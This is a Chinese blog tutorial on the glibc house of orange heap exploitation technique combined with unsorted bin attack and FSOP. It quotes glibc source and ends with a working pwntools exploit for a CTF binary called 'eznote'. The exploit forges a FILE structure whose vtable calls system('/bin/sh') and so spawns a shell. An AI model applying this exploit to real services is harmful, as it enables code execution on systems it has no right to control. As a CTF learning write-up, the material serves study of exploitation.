前言
house系列是glibc高级堆漏洞利用的一系列技术这几天学习了一下house_of_orange。
这里简述我对于house of orange的个人理解。
house_of_orange
house of orange本身的效果很小,主要是在堆题没有delete函数,无法释放堆块时使用,以达到获得一个在unsorted bin中的堆块的效果,但加上两个组合拳(unsorted bin attack和FSOP)则威力就会变的很大。
原理:
我们申请的堆块大小如果大于了top_chunk_size的话,那么就会将原来的top_chunk放入unsorted bin中,然后再映射或者扩展一个新的top chunk出来。
利用过程:
1、先篡改top chunk的size
2、然后申请一个大于top_chunk的size
绕过检查:
我们先来看一下sysmalloc函数的源码(大体上分为两个部分):
1.mmap内存
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/
try_mmap:
/*
Round up size to nearest page. For mmapped chunks, the overhead
is one SIZE_SZ unit larger than for normal chunks, because there
is no following chunk whose prev_size field could be used.
See the front_misalign handling below, for glibc there is no
need for further alignments unless we have have high alignment.
*/
if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
size = ALIGN_UP (nb + SIZE_SZ, pagesize);
else
size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
tried_mmap = true;
/* Don't try if size wraps around 0 */
if ((unsigned long) (size) > (unsigned long) (nb))
{
mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0));
if (mm != MAP_FAILED)
{
/*
The offset to the start of the mmapped region is stored
in the prev_size field of the chunk. This allows us to adjust
returned start address to meet alignment requirements here
and in memalign(), and still be able to compute proper
address argument for later munmap in free() and realloc().
*/
if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
{
/* For glibc, chunk2mem increases the address by 2*SIZE_SZ and
MALLOC_ALIGN_MASK is 2*SIZE_SZ-1. Each mmap'ed area is page
aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */
assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0);
front_misalign = 0;
}
else
front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK;
if (front_misalign > 0)
{
correction = MALLOC_ALIGNMENT - front_misalign;
p = (mchunkptr) (mm + correction);
p->prev_size = correction;
set_head (p, (size - correction) | IS_MMAPPED);
}
else
{
p = (mchunkptr) mm;
set_head (p, size | IS_MMAPPED);
}
/* update statistics */
int new = atomic_exchange_and_add (&mp_.n_mmaps, 1) + 1;
atomic_max (&mp_.max_n_mmaps, new);
unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum);
check_chunk (av, p);
return chunk2mem (p);
}
}
}
这段代码我们只关心以下部分:
if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
即判断所需内存是否大于mmap_threshold,大于这个值才会直接调用mmap来分配内存 (还有一个是限制 mmap的内存数量 要小于 n_mmaps_max,这里我们暂时用不上) 。
2. 增大当前的arena的top chunk(这部分代码较多,只截取部分代码)
在此之前我们先看这一小段代码:
old_top = av->top; //指向当前的top_chunk的指针
old_size = chunksize (old_top); //当前top_chunk的大小
old_end = (char *) (chunk_at_offset (old_top, old_size)); //指向当前top_chunk尾部的指针
知道这三个代表什么后,我们来看下一块代码:
brk = snd_brk = (char *) (MORECORE_FAILURE);
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
所以如果我们想要扩展top_chunk必须满足两种条件
条件一:old_top == initial_top (av) && old_size == 0
条件二:(unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0
现在代码部分的分析到此为止了。我们来总结一下我们需要绕过的检查:
1.我们申请的chunk大小一定要小于mmap_threshold(一般为0x2000)。
2.这里虽然有两种情况:
(1)top chunk是没有被初始化的,并且其size为0。
(2)原本old_top_chunk的size大于MINSIZE
需要保证原本old_top_chunk的prev_inuse位是1
原本old_top_chunk的地址加上其size之后的地址要与页对齐
但是我们只要申请了堆块,那第一种情况我们就无法实现,所以我们着重关注第二种。
unsorted bin attack
这里只简述原理,不再具体分析源码:堆在分配的时候,如果我们申请的堆块大小在small bin或者large bin里面没有找到的话,此时就会从unsorted bin里面去寻找chunk看是否存在合适的内存分配给用户,假设chunk2是符合要求的堆块,这个过程中会把main_arena的地址赋值给chunk1的fd段,让main_arena的bk指针指向chunk1。
也就是说,如果我们能够伪造main_arena或者某一个在unstoredbin的堆块的bk指针,那我们实际上可以实现将main_arena+88/96(具体偏移看libc版本)写入任意地址。
FSOP
在开始源码分析前我们先了解一些东西:
1.FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,64位程序下其偏移为0x60,链表头部用_IO_list_all指针表示。
2._IO_flush_all_lockp这个函数会遍历FILE链表。
源码分析
1.FILE结构体
我们先来看一下查看结构体_IO_FILE_plus的组成:
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
再来看看他的一个组成部分_IO_FILE:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
这里我们先不关心结构体内部的东西的具体含义,先了解其内部变量的偏移(这对后面的理解非常重要):
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
在这些变量中,我们先记住两个东西:
1.chain域(用来串联各个file结构成单向链表的指针)在0x68的偏移处。
2.vtable域在0xd8的偏移处。
我们再来看看其内的另外一个结构体_IO_jump_t(注意_IO_flow这个地方即可):
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
2. _IO_flush_all_lockp
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
这里我们只关心这一段:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
观察上面的代码发现,如果我们要想执行_IO_OVERFLOW (fp, EOF)就必须满足两个条件:
1.(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
2.(_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
1部分的条件满足起来很省事,我们只需要让mode=0,_IO_write_ptr=1,_IO_write_base=0即可(这仨值改成其他的也行,只需要满足条件即可),这样就会触发_IO_OVERFLOW。
攻击方式:
FSOP的核心要义是去篡改_IO_list_all和_chain,来劫持IO_FILE结构体。让IO_FILE结构体落在我们可控的内存上(这段内存我们会伪造一个file结构体),让程序最终从一个伪造的file结构中取出伪造的虚表。
原理:
使用_IO_flush_all_lockp来刷新_IO_list_all链表上的所有文件流,也就是对每个流都执行一下fflush,而fflush最终调用了vtable中的_IO_overflow处存放的函数。
也就是说,如果我们将IO_FILE结构体设置在我们可控的内存上,这就意味着我们是可以控制chain和vtable的,我们将chain的值设置好和vtable中的_IO_overflow函数地址改成system地址即可,而这个函数的第一个参数就是IO_FILE结构体的地址,因此我们让IO_FILE结构体中的flags成员为/bin/sh字符串。
同时我们知道_IO_flush_all_lockp这个函数它不需要手动调用,在以下情况下这个函数会被系统调用:
-
当 libc 执行 abort 流程时
-
当执行 exit 函数时
-
当执行流从 main 函数返回时
那么当执行exit函数或者libc执行abort流程时或者程序从main函数返回时触发了_IO_flush_all_lockp即可拿到shell
图示IO调用链:
正常的调用链示意图:
验证:
1.stderr:
2.stdout:
3.stdin:
FSOP伪造的调用链图:
伪造方式不为一,你也可以让chain域不空,增加结构体的数量。
例题解析:
eznote:
在程序运行开始时给了堆块的地址,可以得到堆基址。
create模块:
允许分配小于0x100的堆块,读取content模块也没有什么漏洞
edit模块给了一个任意大小的溢出漏洞:
show没什么好说的:
delete模块,没有free任何堆块:
思路很明确,利用edit伪造堆块,先泄露libc后打house_of_orange+FSOP即可。
得到堆基址:
p.recvuntil(b"A gift for you~: 0x")
#heap_base_addr=u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000
heap_base_addr=int(p.recv(12),16)&0xfffffffff000
print("heap_base_addr=",hex(heap_base_addr))
利用house_of_orange获得一个unsortedbin里面的堆块:
这里为什么是0xb1?
因为需要此时的(top_chunk_addr+0xb1)&&0xfff=0
create(16,b'aaaa')#0
edit(0,256,p64(0)*3+p64(0xb1))
create(255,b'aaaa')#1
获得libc_base:
把unstoredbin里面的堆块拿出来一小部分,得到libc地址
create(16,b'a'*8)#2
show(2)
__malloc_hook_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0xe8
libc_base_addr=__malloc_hook_addr-libc.sym["__malloc_hook"]
io_list_all_addr = libc_base_addr+libc.sym["_IO_list_all"]
正如上文提到的,在house of orange之后,我们需要打unsorted bin attack将main_arena+88/96的地址写入_IO_list_all。 这里利用溢出,直接去修改chunk的bk指针为_IO_list_all-0x10即可。这样我们_IO_list_all的地址会在后续的调用exit函数中刷新,为了控制权限,我们在修改unsortedbin的bk指针的同时伪造好IO结构体在相应位置即可。
构造如下:
payload2 = p64(0)*2
fake = b"/bin/sh\x00"+p64(0x61)
fake += p64(0)+p64(io_list_all_addr-0x10)
fake += p64(0)+p64(1)#_IO_write_base & _IO_write_ptr
fake = fake.ljust(0xd8,b"\x00")
fake += p64(heap_base_addr+0xf80+0xe0-0x18)#<--vtable
fake += p64(0)*2+p64(system)
payload2 += fake
伪造好堆块在对应位置后,我们再次申请一个 chunk ,通过我们之前学习的 unsortd bin attack 可以知道, _IO_list_all 会被修改成 main_arena_88并且会将该 unsorted bin 放入 small bin:
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
由于我们申请的堆块还没有申请成功,所以又接着执行,如果我们申请的 chunk 大小不在 small bin 范围内且小于 unsorted_bin_size 的话就会对unsortedbin进行切割,此时的unsortedbin的bk!=fd会进行报错
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
从而触发_IO_flush_all_lockp即可拿到shell。
这里可能会遇到有时候无法拿到shell的情况,这是由于FILE结构体内的_mode 的正负性是随机的,影响判断条件,大概有 1/2 的概率会成功。
exp.py
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = remote('ctf.qwq.cc', 10018)
p= process("./eznote")
elf = ELF("./eznote")
libc = ELF("/home/mazhatter/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
'''
def gdbbug():
gdb.attach(p)
pause()
def create(size,content):
p.recvuntil(b"Your choice :")
p.sendline(b"1")
p.recvuntil(b"Length of Note :")
p.sendline(str(size))
p.recvuntil(b"Content of Note:")
p.send(content)
def edit(Index,Length,Content):
p.recvuntil(b"Your choice :")
p.sendline(b"2")
p.recvuntil(b"Index :")
p.sendline(str(Index))
p.recvuntil(b"Length of Note :")
p.sendline(str(Length))
p.recvuntil(b"Content of Note : ")
p.send(Content)
def show(index):
p.recvuntil(b"Your choice :")
p.sendline(b"3")
p.recvuntil(b"Index :")
p.sendline(str(index))
p.recvuntil(b"A gift for you~: 0x")
#heap_base_addr=u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000
heap_base_addr=int(p.recv(12),16)&0xfffffffff000
print("heap_base_addr=",hex(heap_base_addr))
create(16,b'aaaa')#0
edit(0,256,p64(0)*3+p64(0xb1))
create(255,b'aaaa')#1
'''
把unstortedbin里面的堆块申请出来,获得libc基址
'''
create(16,b'a'*8)#2
show(2)
__malloc_hook_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0xe8
libc_base_addr=__malloc_hook_addr-libc.sym["__malloc_hook"]
io_list_all_addr = libc_base_addr+libc.sym["_IO_list_all"]
system = libc_base_addr+libc.sym["system"]
print("__malloc_hook_addr=",hex(__malloc_hook_addr))
print("libc_base_addr=",hex(libc_base_addr))
print("io_list_all_addr=",hex(io_list_all_addr))
print("system_addr=",hex(system))
'''
目的:打unsorted bin attack将main_arena+88/96的地址写入_IO_list_all
方法:将unstorted_bin的bk指针指向io_list_all-0x10
'''
'''
准备工作做完,准备伪造io结构体
'''
payload2 = p64(0)*2
fake = b"/bin/sh\x00"+p64(0x61)
fake += p64(0)+p64(io_list_all_addr-0x10)
fake += p64(0)+p64(1)
fake = fake.ljust(0xd8,b"\x00")
fake += p64(heap_base_addr+0xf80+0xe0-0x18)#<--vtable
fake += p64(0)*2+p64(system)
#fake+=p64(system)*3
payload2 += fake
edit(2,300,payload2)
#create(16,b'a'*4)
p.recvuntil(b"Your choice :")
p.sendline(b"1")
p.interactive()
如有错误欢迎评论区指出。
标签:__,fp,addr,house,base,IO,orange,浅析,size From: https://blog.csdn.net/2301_79327647/article/details/140584565